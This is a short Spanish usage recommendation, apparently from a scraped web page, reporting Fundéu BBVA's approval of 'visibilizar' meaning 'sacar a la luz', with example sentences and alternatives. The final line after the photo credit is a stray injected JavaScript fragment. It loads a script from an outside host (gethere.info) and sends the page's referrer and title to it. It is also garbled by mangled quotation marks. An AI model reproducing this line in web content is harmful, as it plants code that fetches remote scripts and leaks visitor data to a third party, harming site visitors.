Recomendaciones de uso de nuestro idioma: visibilizar

02/08/2012

Visibilizar, uso correcto

La Fundación del Español Urgente considera correcto el uso de visibilizar con el significado de sacar a la luz.

Según el Diccionario de la Real Academia Española visibilizar es «hacer visible artificialmente lo que no puede verse a simple vista, como con los rayos X los cuerpos ocultos, o con el microscopio los microbios».

Ese verbo se está empleando en español actual de forma metafórica en frases como:

«Pretenden visibilizar a quienes menos han salido en los medios de comunicación»

«Es necesario empezar a visibilizar la violencia machista en Guatemala»

«Reconocer y visibilizar a los grupos menos favorecidos» etc.

La Fundéu BBVA considera válido ese nuevo uso y añade que también pueden usarse, según los casos, otras expresiones y verbos como sacar a la luz, llamar la atención sobre, hacer visible o patente.

Foto | herby_fr

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + »;